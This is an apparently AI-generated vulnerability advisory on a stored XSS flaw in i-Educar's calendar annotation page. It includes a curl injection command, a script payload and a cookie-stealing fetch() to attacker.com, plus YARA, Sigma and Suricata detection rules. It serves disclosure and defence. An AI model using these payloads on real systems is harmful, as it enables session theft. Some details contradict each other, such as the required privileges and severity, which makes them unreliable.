CVE-2025-10584

Executive Summary

CVE-2025-10584 is a stored Cross-Site Scripting (XSS) vulnerability identified in Portabilis i-Educar, an open-source educational management system. The flaw resides in the /intranet/educar_calendario_anotacao_cad.php file, where the nm_anotacao and descricao parameters are not properly sanitized before being stored and later rendered in the browser. An attacker with low privileges can inject arbitrary JavaScript, HTML, or other client-side code, which will execute in the context of any user viewing the affected calendar annotation page. The vulnerability is remotely exploitable, requires user interaction (a victim viewing the malicious annotation), and has a low CVSS score of 3.5 due to the need for user interaction and the limited impact on confidentiality and integrity. Public exploit code is available, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the PHP application. The risk is amplified by the lack of an official patch, meaning all deployments of i-Educar up to version 2.10 are vulnerable. Organizations using this software should treat it as a critical supply chain risk and consider immediate mitigation or isolation.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 3.5 (Low)
• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – An unauthenticated user can trigger the injection.
• User Interaction (UI): Required (R) – The victim must view the crafted annotation.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): None (N) – No direct data theft.
• Integrity (I): Low (L) – The attacker can modify content displayed to the victim.
• Availability (A): None (N) – No impact on system availability.

Threat Level: Low. However, the availability of public exploit code and the lack of a patch elevate the practical risk for unmitigated deployments.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the calendar annotation feature of i-Educar. The file /intranet/educar_calendario_anotacao_cad.php accepts user input via the nm_anotacao (annotation name) and descricao (description) parameters. This input is stored in the database without proper sanitization or output encoding. When any user (including administrators) views the calendar page, the stored data is retrieved and rendered directly into the HTML document, allowing the injected script to execute.

Attack Flow:

1. An attacker sends a POST request to /intranet/educar_calendario_anotacao_cad.php with malicious payloads in the nm_anotacao and/or descricao parameters.
2. The server stores the payload in the database.
3. A victim (e.g., a teacher or admin) navigates to the calendar page that displays the annotation.
4. The victim's browser executes the injected script, which can steal session cookies, redirect to phishing pages, or perform actions on behalf of the victim.

Root Cause: Lack of input validation and output encoding. The application does not use functions like htmlspecialchars() or strip_tags() before storing or displaying user-controlled data.

Vulnerable vs. Patched Code

Since no official patch is available, the following represents the vulnerable code pattern and a recommended fix.

Vulnerable Code (PHP):

<?php
// Vulnerable: Directly stores and outputs user input without sanitization
$nm_anotacao = $_POST['nm_anotacao'];
$descricao = $_POST['descricao'];

// Store in database (simplified)
$sql = "INSERT INTO calendario_anotacoes (nm_anotacao, descricao) VALUES ('$nm_anotacao', '$descricao')";
mysqli_query($conn, $sql);

// Later, when displaying:
echo "<div class='anotacao'>" . $row['nm_anotacao'] . "</div>";
echo "<p>" . $row['descricao'] . "</p>";
?>

Patched Code (Recommended):

<?php
// Patched: Sanitize input and encode output
$nm_anotacao = htmlspecialchars($_POST['nm_anotacao'], ENT_QUOTES, 'UTF-8');
$descricao = htmlspecialchars($_POST['descricao'], ENT_QUOTES, 'UTF-8');

// Use prepared statements to prevent SQL injection
$stmt = $conn->prepare("INSERT INTO calendario_anotacoes (nm_anotacao, descricao) VALUES (?, ?)");
$stmt->bind_param("ss", $nm_anotacao, $descricao);
$stmt->execute();

// When displaying, output is already safe due to htmlspecialchars
echo "<div class='anotacao'>" . $row['nm_anotacao'] . "</div>";
echo "<p>" . $row['descricao'] . "</p>";
?>

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of i-Educar <= 2.10.
• Network access to the application.
• A web browser or tool like curl.

Exploit Payload: The following payload can be injected into the nm_anotacao or descricao parameter to execute a JavaScript alert (proof of concept):

<script>alert('XSS')</script>

Step-by-Step Exploitation:

1. Identify the target URL: http://target/intranet/educar_calendario_anotacao_cad.php
2. Send a POST request with the malicious payload:

curl -X POST http://target/intranet/educar_calendario_anotacao_cad.php \
  -d "nm_anotacao=<script>alert('XSS')</script>&descricao=Test"

3. Log in as a different user (or wait for an admin) and navigate to the calendar page that displays the annotation.
4. The injected script executes in the victim's browser.

Advanced Payload (Session Stealing):

<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for POST requests to /intranet/educar_calendario_anotacao_cad.php containing suspicious patterns like <script, onerror, javascript:.
• Use a Web Application Firewall (WAF) to block common XSS payloads.
• Deploy the detection rules provided in the Detection Engineering section.

Hardening:

• Apply input validation and output encoding as shown in the patched code section.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Restrict access to the calendar annotation feature to trusted users only.
• If possible, disable the feature or remove the vulnerable file until a patch is released.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /intranet/educar_calendario_anotacao_cad.php with parameters containing <script, onerror, onload, javascript:.
  • Outbound connections to unknown domains from the i-Educar server (potential data exfiltration).
• File IOCs:
  • Suspicious entries in the calendario_anotacoes database table containing HTML/JavaScript.
• Log IOCs:
  • Web server access logs showing repeated POST requests to the vulnerable endpoint with unusual payloads.

Detection Engineering

YARA Rule

rule CVE_2025_10584_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2025-10584 in i-Educar"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-10584"
    strings:
        $xss1 = "<script" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
        $xss5 = "alert(" nocase
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: CVE-2025-10584 XSS Attempt in i-Educar
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to the vulnerable i-Educar endpoint with XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "/intranet/educar_calendario_anotacao_cad.php"
    keywords:
        - "<script"
        - "onerror="
        - "onload="
        - "javascript:"
        - "alert("
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in annotations (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-10584 i-Educar XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/intranet/educar_calendario_anotacao_cad.php"; http_uri; content:"<script"; nocase; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable feature: If possible, remove or disable the calendar annotation functionality by deleting or renaming the file /intranet/educar_calendario_anotacao_cad.php.
2. Apply a WAF rule: Block POST requests to the vulnerable endpoint containing XSS patterns.
3. Restrict access: Use .htaccess or firewall rules to limit access to the vulnerable file to trusted IP addresses only.

Long-Term Fix:

• Apply input sanitization and output encoding as shown in the patched code section.
• Monitor the official i-Educar repository for a security patch and apply it as soon as it becomes available.
• Conduct a full security audit of the application to identify similar vulnerabilities.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.